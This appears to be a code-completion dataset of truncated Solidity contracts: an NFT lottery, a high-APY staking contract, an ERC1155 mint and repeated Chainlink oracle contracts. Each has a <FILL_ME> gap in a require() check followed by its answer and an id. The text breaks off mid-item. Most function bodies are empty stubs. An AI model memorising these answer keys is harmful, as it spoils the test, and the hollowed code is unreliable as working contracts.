// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "ERC721Enumerable.sol"; import "Ownable.sol"; import "VRFConsumerBase.sol"; interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } modifier nonReentrant() { } } contract RandomEDGE is ERC721Enumerable, Ownable, VRFConsumerBase, ReentrancyGuard { using Strings for uint256; // Constants // ------------------------------------------------------------------------ uint256 public constant MAX_SUPPLY = 5000; uint256 public constant PRICE = 0; // 0.05 ether uint256 internal constant WINNER_CUT = 100; string internal constant IPFS_UNKNOWN = "Qmbzf9grQq4rN1ZmZvrrjyWg3wC8Hx3BqUv16kpWsPpVLM"; // *** string internal constant IPFS_WINNER = "QmXyasrdptv9zzGU1iK6uNSth4RpRAxn4r8ga9GK4R68nY"; // *** string internal constant IPFS_LOSER = "QmZEDgZ8ujyu6gfvU1gHsTfZN2MnKUe57j5qXQ2ePBWKjA"; // *** string internal constant TOKEN_NAME = "RandomEDGE Free"; string internal constant TOKEN_SYMBOL = "RE"; // State // ------------------------------------------------------------------------ bool public isFinished; bool public isRngRequested; address public winnerAddress; uint256 public contributed; uint256 public startTime; // Chainlink // ------------------------------------------------------------------------ bytes32 internal constant KEY_HASH = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; // MAINNET uint256 internal constant VRF_FEE = 2 * 10 ** 18; // MAINNET address public constant VRF_COORDINATOR = 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952; // MAINNET address public constant LINK_TOKEN = 0x514910771AF9Ca656af840dff83E8264EcF986CA; // MAINNET bytes32 public requestId; uint256 public randomResult; // Events // ------------------------------------------------------------------------ event BaseTokenURIChanged(string baseTokenURI); event Received(address, uint256); // Constructor // ------------------------------------------------------------------------ constructor() VRFConsumerBase(VRF_COORDINATOR, LINK_TOKEN) ERC721(TOKEN_NAME, TOKEN_SYMBOL) { } // Randomness/state advancing functions // ------------------------------------------------------------------------ function requestResult() external onlyOwner { } function fulfillRandomness(bytes32 _requestId, uint256 randomness) internal override { } function finalize() external onlyOwner { } function winnerCut() public view returns (uint256) { } function isStarted() public view returns (bool) { } function setStartTime(uint256 _startTime) external onlyOwner { } // Mint functions // ------------------------------------------------------------------------ function mint(uint256 quantity) external payable nonReentrant { } // URI Functions // ------------------------------------------------------------------------ function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { } // Receive & Withdrawal functions // ------------------------------------------------------------------------ receive() external payable { } function withdrawErc20(IERC20 token) external onlyOwner { require(<FILL_ME>) } function emergencyWithdraw() external onlyOwner { } }
token.transfer(msg.sender,token.balanceOf(address(this))),"Transfer failed"
380,963
token.transfer(msg.sender,token.balanceOf(address(this)))
"Could not transfer tokens."
/** * YFBlack's farming token contract. APY is set at 500% with clifftime of 3 days. */ pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address payable public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address payable newOwner) onlyOwner public { } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract YFBlack is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // staking token contract address address public constant tokenAddress = 0x11f67894Dd15cF04cb6a22F59277e983cbA6c5E7; // reward rate 500.00% per year uint public constant rewardRate = 50000; uint public constant rewardInterval = 365 days; uint public constant fee = 1e16; // unstaking possible after 3 days uint public constant cliffTime = 3 days; uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; function updateAccount(address account) private { } function getPendingDivs(address _holder) public view returns (uint) { } function getNumberOfStakers() public view returns (uint) { } function stake(uint amountToStake) payable public { } function unstake(uint amountToWithdraw) payable public { require(msg.value >= fee, "Insufficient fee deposited."); owner.transfer(msg.value); require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); require(<FILL_ME>) depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claim() public { } uint private constant stakingTokens = 57000e18; function getStakingAmount() public view returns (uint) { } // function to allow owner to claim *other* ERC20 tokens sent to this contract function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { } }
Token(tokenAddress).transfer(msg.sender,amountToWithdraw),"Could not transfer tokens."
381,021
Token(tokenAddress).transfer(msg.sender,amountToWithdraw)
'can only mint once'
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol"; contract ECSTASY is ERC1155, Ownable, ERC1155Burnable { uint256 public constant TOKEN = 0; constructor() ERC1155("ipfs://QmfBM23AChVTm5fkL33ypYTLjQsaPaK28KitL4seV9LueD") { } function setURI(string memory newuri) public onlyOwner { } function mint(address account, uint256 id, uint256 amount, bytes memory data) public { require(<FILL_ME>) _mint(account, id, amount, data); } function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) public onlyOwner { } }
balanceOf(account,id)<1,'can only mint once'
381,076
balanceOf(account,id)<1
"Unable to create request"
pragma solidity 0.4.24; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract IGST2 is IERC20 { function freeUpTo(uint256 value) external returns (uint256 freed); function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function balanceOf(address who) external view returns (uint256); } /** * @title The Chainlink Oracle contract * @notice Node operators can deploy this contract to fulfill requests sent to them */ contract Oracle is ChainlinkRequestInterface, OracleInterface, Ownable { using SafeMath for uint256; IGST2 public gasToken; address public gasTokenOwner; uint256 constant public EXPIRY_TIME = 5 minutes; uint256 constant private MINIMUM_CONSUMER_GAS_LIMIT = 400000; // We initialize fields to 1 instead of 0 so that the first invocation // does not cost more gas. uint256 constant private ONE_FOR_CONSISTENT_GAS_COST = 1; uint256 constant private SELECTOR_LENGTH = 4; uint256 constant private EXPECTED_REQUEST_WORDS = 2; uint256 constant private MINIMUM_REQUEST_LENGTH = SELECTOR_LENGTH + (32 * EXPECTED_REQUEST_WORDS); LinkTokenInterface internal LinkToken; mapping(bytes32 => bytes32) private commitments; mapping(address => bool) private authorizedNodes; uint256 private withdrawableTokens = ONE_FOR_CONSISTENT_GAS_COST; event OracleRequest( bytes32 indexed specId, address requester, bytes32 requestId, uint256 payment, address callbackAddr, bytes4 callbackFunctionId, uint256 cancelExpiration, uint256 dataVersion, bytes data ); event CancelOracleRequest( bytes32 indexed requestId ); /** * @notice Deploy with the address of the LINK token * @dev Sets the LinkToken address for the imported LinkTokenInterface * @param _link The address of the LINK token */ constructor(address _link, IGST2 _gasToken, address _gasTokenOwner) public Ownable() { } /** * @notice Called when LINK is sent to the contract via `transferAndCall` * @dev The data payload's first 2 words will be overwritten by the `_sender` and `_amount` * values to ensure correctness. Calls oracleRequest. * @param _sender Address of the sender * @param _amount Amount of LINK sent (specified in wei) * @param _data Payload of the transaction */ function onTokenTransfer( address _sender, uint256 _amount, bytes _data ) public onlyLINK validRequestLength(_data) permittedFunctionsForLINK(_data) { assembly { // solhint-disable-line no-inline-assembly mstore(add(_data, 36), _sender) // ensure correct sender is passed mstore(add(_data, 68), _amount) // ensure correct amount is passed } // solhint-disable-next-line avoid-low-level-calls require(<FILL_ME>) // calls oracleRequest } /** * @notice Creates the Chainlink request * @dev Stores the hash of the params as the on-chain commitment for the request. * Emits OracleRequest event for the Chainlink node to detect. * @param _sender The sender of the request * @param _payment The amount of payment given (specified in wei) * @param _specId The Job Specification ID * @param _callbackAddress The callback address for the response * @param _callbackFunctionId The callback function ID for the response * @param _nonce The nonce sent by the requester * @param _dataVersion The specified data version * @param _data The CBOR payload of the request */ function oracleRequest( address _sender, uint256 _payment, bytes32 _specId, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _nonce, uint256 _dataVersion, bytes _data ) external onlyLINK checkCallbackAddress(_callbackAddress) { } /** * @notice Called by the Chainlink node to fulfill requests * @dev Given params must hash back to the commitment stored from `oracleRequest`. * Will call the callback address' callback function without bubbling up error * checking in a `require` so that the node can get paid. * @param _requestId The fulfillment request ID that must match the requester's * @param _payment The payment amount that will be released for the oracle (specified in wei) * @param _callbackAddress The callback address to call for fulfillment * @param _callbackFunctionId The callback function ID to use for fulfillment * @param _expiration The expiration that the node should respond by before the requester can cancel * @param _data The data to return to the consuming contract * @return Status if the external call was successful */ function fulfillOracleRequest( bytes32 _requestId, uint256 _payment, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _expiration, bytes32 _data ) external onlyAuthorizedNode isValidRequest(_requestId) returns (bool) { } /** * @notice Use this to check if a node is authorized for fulfilling requests * @param _node The address of the Chainlink node * @return The authorization status of the node */ function getAuthorizationStatus(address _node) external view returns (bool) { } /** * @notice Sets the fulfillment permission for a given node. Use `true` to allow, `false` to disallow. * @param _node The address of the Chainlink node * @param _allowed Bool value to determine if the node can fulfill requests */ function setFulfillmentPermission(address _node, bool _allowed) external onlyOwner { } /** * @notice Allows the node operator to withdraw earned LINK to a given address * @dev The owner of the contract can be another wallet and does not have to be a Chainlink node * @param _recipient The address to send the LINK token to * @param _amount The amount to send (specified in wei) */ function withdraw(address _recipient, uint256 _amount) external onlyOwner hasAvailableFunds(_amount) { } /** * @notice Displays the amount of LINK that is available for the node operator to withdraw * @dev We use `ONE_FOR_CONSISTENT_GAS_COST` in place of 0 in storage * @return The amount of withdrawable LINK on the contract */ function withdrawable() external view onlyOwner returns (uint256) { } /** * @notice Allows requesters to cancel requests sent to this oracle contract. Will transfer the LINK * sent for the request back to the requester's address. * @dev Given params must hash to a commitment stored on the contract in order for the request to be valid * Emits CancelOracleRequest event. * @param _requestId The request ID * @param _payment The amount of payment given (specified in wei) * @param _callbackFunc The requester's specified callback address * @param _expiration The time of the expiration for the request */ function cancelOracleRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunc, uint256 _expiration ) external { } // MODIFIERS /** * @dev Reverts if amount requested is greater than withdrawable balance * @param _amount The given amount to compare to `withdrawableTokens` */ modifier hasAvailableFunds(uint256 _amount) { } /** * @dev Reverts if request ID does not exist * @param _requestId The given request ID to check in stored `commitments` */ modifier isValidRequest(bytes32 _requestId) { } /** * @dev Reverts if `msg.sender` is not authorized to fulfill requests */ modifier onlyAuthorizedNode() { } /** * @dev Reverts if not sent from the LINK token */ modifier onlyLINK() { } /** * @dev Reverts if the given data does not begin with the `oracleRequest` function selector * @param _data The data payload of the request */ modifier permittedFunctionsForLINK(bytes _data) { } /** * @dev Reverts if the callback address is the LINK token * @param _to The callback address */ modifier checkCallbackAddress(address _to) { } /** * @dev Reverts if the given payload is less than needed to create a request * @param _data The request payload */ modifier validRequestLength(bytes _data) { } function() external { } function burnGasToken(uint gasSpent) internal { } }
address(this).delegatecall(_data),"Unable to create request"
381,110
address(this).delegatecall(_data)
"Must use a unique ID"
pragma solidity 0.4.24; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract IGST2 is IERC20 { function freeUpTo(uint256 value) external returns (uint256 freed); function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function balanceOf(address who) external view returns (uint256); } /** * @title The Chainlink Oracle contract * @notice Node operators can deploy this contract to fulfill requests sent to them */ contract Oracle is ChainlinkRequestInterface, OracleInterface, Ownable { using SafeMath for uint256; IGST2 public gasToken; address public gasTokenOwner; uint256 constant public EXPIRY_TIME = 5 minutes; uint256 constant private MINIMUM_CONSUMER_GAS_LIMIT = 400000; // We initialize fields to 1 instead of 0 so that the first invocation // does not cost more gas. uint256 constant private ONE_FOR_CONSISTENT_GAS_COST = 1; uint256 constant private SELECTOR_LENGTH = 4; uint256 constant private EXPECTED_REQUEST_WORDS = 2; uint256 constant private MINIMUM_REQUEST_LENGTH = SELECTOR_LENGTH + (32 * EXPECTED_REQUEST_WORDS); LinkTokenInterface internal LinkToken; mapping(bytes32 => bytes32) private commitments; mapping(address => bool) private authorizedNodes; uint256 private withdrawableTokens = ONE_FOR_CONSISTENT_GAS_COST; event OracleRequest( bytes32 indexed specId, address requester, bytes32 requestId, uint256 payment, address callbackAddr, bytes4 callbackFunctionId, uint256 cancelExpiration, uint256 dataVersion, bytes data ); event CancelOracleRequest( bytes32 indexed requestId ); /** * @notice Deploy with the address of the LINK token * @dev Sets the LinkToken address for the imported LinkTokenInterface * @param _link The address of the LINK token */ constructor(address _link, IGST2 _gasToken, address _gasTokenOwner) public Ownable() { } /** * @notice Called when LINK is sent to the contract via `transferAndCall` * @dev The data payload's first 2 words will be overwritten by the `_sender` and `_amount` * values to ensure correctness. Calls oracleRequest. * @param _sender Address of the sender * @param _amount Amount of LINK sent (specified in wei) * @param _data Payload of the transaction */ function onTokenTransfer( address _sender, uint256 _amount, bytes _data ) public onlyLINK validRequestLength(_data) permittedFunctionsForLINK(_data) { } /** * @notice Creates the Chainlink request * @dev Stores the hash of the params as the on-chain commitment for the request. * Emits OracleRequest event for the Chainlink node to detect. * @param _sender The sender of the request * @param _payment The amount of payment given (specified in wei) * @param _specId The Job Specification ID * @param _callbackAddress The callback address for the response * @param _callbackFunctionId The callback function ID for the response * @param _nonce The nonce sent by the requester * @param _dataVersion The specified data version * @param _data The CBOR payload of the request */ function oracleRequest( address _sender, uint256 _payment, bytes32 _specId, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _nonce, uint256 _dataVersion, bytes _data ) external onlyLINK checkCallbackAddress(_callbackAddress) { bytes32 requestId = keccak256(abi.encodePacked(_sender, _nonce)); require(<FILL_ME>) // solhint-disable-next-line not-rely-on-time uint256 expiration = now.add(EXPIRY_TIME); commitments[requestId] = keccak256( abi.encodePacked( _payment, _callbackAddress, _callbackFunctionId, expiration ) ); emit OracleRequest( _specId, _sender, requestId, _payment, _callbackAddress, _callbackFunctionId, expiration, _dataVersion, _data); } /** * @notice Called by the Chainlink node to fulfill requests * @dev Given params must hash back to the commitment stored from `oracleRequest`. * Will call the callback address' callback function without bubbling up error * checking in a `require` so that the node can get paid. * @param _requestId The fulfillment request ID that must match the requester's * @param _payment The payment amount that will be released for the oracle (specified in wei) * @param _callbackAddress The callback address to call for fulfillment * @param _callbackFunctionId The callback function ID to use for fulfillment * @param _expiration The expiration that the node should respond by before the requester can cancel * @param _data The data to return to the consuming contract * @return Status if the external call was successful */ function fulfillOracleRequest( bytes32 _requestId, uint256 _payment, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _expiration, bytes32 _data ) external onlyAuthorizedNode isValidRequest(_requestId) returns (bool) { } /** * @notice Use this to check if a node is authorized for fulfilling requests * @param _node The address of the Chainlink node * @return The authorization status of the node */ function getAuthorizationStatus(address _node) external view returns (bool) { } /** * @notice Sets the fulfillment permission for a given node. Use `true` to allow, `false` to disallow. * @param _node The address of the Chainlink node * @param _allowed Bool value to determine if the node can fulfill requests */ function setFulfillmentPermission(address _node, bool _allowed) external onlyOwner { } /** * @notice Allows the node operator to withdraw earned LINK to a given address * @dev The owner of the contract can be another wallet and does not have to be a Chainlink node * @param _recipient The address to send the LINK token to * @param _amount The amount to send (specified in wei) */ function withdraw(address _recipient, uint256 _amount) external onlyOwner hasAvailableFunds(_amount) { } /** * @notice Displays the amount of LINK that is available for the node operator to withdraw * @dev We use `ONE_FOR_CONSISTENT_GAS_COST` in place of 0 in storage * @return The amount of withdrawable LINK on the contract */ function withdrawable() external view onlyOwner returns (uint256) { } /** * @notice Allows requesters to cancel requests sent to this oracle contract. Will transfer the LINK * sent for the request back to the requester's address. * @dev Given params must hash to a commitment stored on the contract in order for the request to be valid * Emits CancelOracleRequest event. * @param _requestId The request ID * @param _payment The amount of payment given (specified in wei) * @param _callbackFunc The requester's specified callback address * @param _expiration The time of the expiration for the request */ function cancelOracleRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunc, uint256 _expiration ) external { } // MODIFIERS /** * @dev Reverts if amount requested is greater than withdrawable balance * @param _amount The given amount to compare to `withdrawableTokens` */ modifier hasAvailableFunds(uint256 _amount) { } /** * @dev Reverts if request ID does not exist * @param _requestId The given request ID to check in stored `commitments` */ modifier isValidRequest(bytes32 _requestId) { } /** * @dev Reverts if `msg.sender` is not authorized to fulfill requests */ modifier onlyAuthorizedNode() { } /** * @dev Reverts if not sent from the LINK token */ modifier onlyLINK() { } /** * @dev Reverts if the given data does not begin with the `oracleRequest` function selector * @param _data The data payload of the request */ modifier permittedFunctionsForLINK(bytes _data) { } /** * @dev Reverts if the callback address is the LINK token * @param _to The callback address */ modifier checkCallbackAddress(address _to) { } /** * @dev Reverts if the given payload is less than needed to create a request * @param _data The request payload */ modifier validRequestLength(bytes _data) { } function() external { } function burnGasToken(uint gasSpent) internal { } }
commitments[requestId]==0,"Must use a unique ID"
381,110
commitments[requestId]==0
"Params do not match request ID"
pragma solidity 0.4.24; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract IGST2 is IERC20 { function freeUpTo(uint256 value) external returns (uint256 freed); function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function balanceOf(address who) external view returns (uint256); } /** * @title The Chainlink Oracle contract * @notice Node operators can deploy this contract to fulfill requests sent to them */ contract Oracle is ChainlinkRequestInterface, OracleInterface, Ownable { using SafeMath for uint256; IGST2 public gasToken; address public gasTokenOwner; uint256 constant public EXPIRY_TIME = 5 minutes; uint256 constant private MINIMUM_CONSUMER_GAS_LIMIT = 400000; // We initialize fields to 1 instead of 0 so that the first invocation // does not cost more gas. uint256 constant private ONE_FOR_CONSISTENT_GAS_COST = 1; uint256 constant private SELECTOR_LENGTH = 4; uint256 constant private EXPECTED_REQUEST_WORDS = 2; uint256 constant private MINIMUM_REQUEST_LENGTH = SELECTOR_LENGTH + (32 * EXPECTED_REQUEST_WORDS); LinkTokenInterface internal LinkToken; mapping(bytes32 => bytes32) private commitments; mapping(address => bool) private authorizedNodes; uint256 private withdrawableTokens = ONE_FOR_CONSISTENT_GAS_COST; event OracleRequest( bytes32 indexed specId, address requester, bytes32 requestId, uint256 payment, address callbackAddr, bytes4 callbackFunctionId, uint256 cancelExpiration, uint256 dataVersion, bytes data ); event CancelOracleRequest( bytes32 indexed requestId ); /** * @notice Deploy with the address of the LINK token * @dev Sets the LinkToken address for the imported LinkTokenInterface * @param _link The address of the LINK token */ constructor(address _link, IGST2 _gasToken, address _gasTokenOwner) public Ownable() { } /** * @notice Called when LINK is sent to the contract via `transferAndCall` * @dev The data payload's first 2 words will be overwritten by the `_sender` and `_amount` * values to ensure correctness. Calls oracleRequest. * @param _sender Address of the sender * @param _amount Amount of LINK sent (specified in wei) * @param _data Payload of the transaction */ function onTokenTransfer( address _sender, uint256 _amount, bytes _data ) public onlyLINK validRequestLength(_data) permittedFunctionsForLINK(_data) { } /** * @notice Creates the Chainlink request * @dev Stores the hash of the params as the on-chain commitment for the request. * Emits OracleRequest event for the Chainlink node to detect. * @param _sender The sender of the request * @param _payment The amount of payment given (specified in wei) * @param _specId The Job Specification ID * @param _callbackAddress The callback address for the response * @param _callbackFunctionId The callback function ID for the response * @param _nonce The nonce sent by the requester * @param _dataVersion The specified data version * @param _data The CBOR payload of the request */ function oracleRequest( address _sender, uint256 _payment, bytes32 _specId, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _nonce, uint256 _dataVersion, bytes _data ) external onlyLINK checkCallbackAddress(_callbackAddress) { } /** * @notice Called by the Chainlink node to fulfill requests * @dev Given params must hash back to the commitment stored from `oracleRequest`. * Will call the callback address' callback function without bubbling up error * checking in a `require` so that the node can get paid. * @param _requestId The fulfillment request ID that must match the requester's * @param _payment The payment amount that will be released for the oracle (specified in wei) * @param _callbackAddress The callback address to call for fulfillment * @param _callbackFunctionId The callback function ID to use for fulfillment * @param _expiration The expiration that the node should respond by before the requester can cancel * @param _data The data to return to the consuming contract * @return Status if the external call was successful */ function fulfillOracleRequest( bytes32 _requestId, uint256 _payment, address _callbackAddress, bytes4 _callbackFunctionId, uint256 _expiration, bytes32 _data ) external onlyAuthorizedNode isValidRequest(_requestId) returns (bool) { uint256 gasProvided = gasleft(); bytes32 paramsHash = keccak256( abi.encodePacked( _payment, _callbackAddress, _callbackFunctionId, _expiration ) ); require(<FILL_ME>) withdrawableTokens = withdrawableTokens.add(_payment); delete commitments[_requestId]; require(gasleft() >= MINIMUM_CONSUMER_GAS_LIMIT, "Must provide consumer enough gas"); // All updates to the oracle's fulfillment should come before calling the // callback(addr+functionId) as it is untrusted. // See: https://solidity.readthedocs.io/en/develop/security-considerations.html#use-the-checks-effects-interactions-pattern bool result = _callbackAddress.call(_callbackFunctionId, _requestId, _data); // solhint-disable-line avoid-low-level-calls burnGasToken(gasProvided.sub(gasleft())); return result; } /** * @notice Use this to check if a node is authorized for fulfilling requests * @param _node The address of the Chainlink node * @return The authorization status of the node */ function getAuthorizationStatus(address _node) external view returns (bool) { } /** * @notice Sets the fulfillment permission for a given node. Use `true` to allow, `false` to disallow. * @param _node The address of the Chainlink node * @param _allowed Bool value to determine if the node can fulfill requests */ function setFulfillmentPermission(address _node, bool _allowed) external onlyOwner { } /** * @notice Allows the node operator to withdraw earned LINK to a given address * @dev The owner of the contract can be another wallet and does not have to be a Chainlink node * @param _recipient The address to send the LINK token to * @param _amount The amount to send (specified in wei) */ function withdraw(address _recipient, uint256 _amount) external onlyOwner hasAvailableFunds(_amount) { } /** * @notice Displays the amount of LINK that is available for the node operator to withdraw * @dev We use 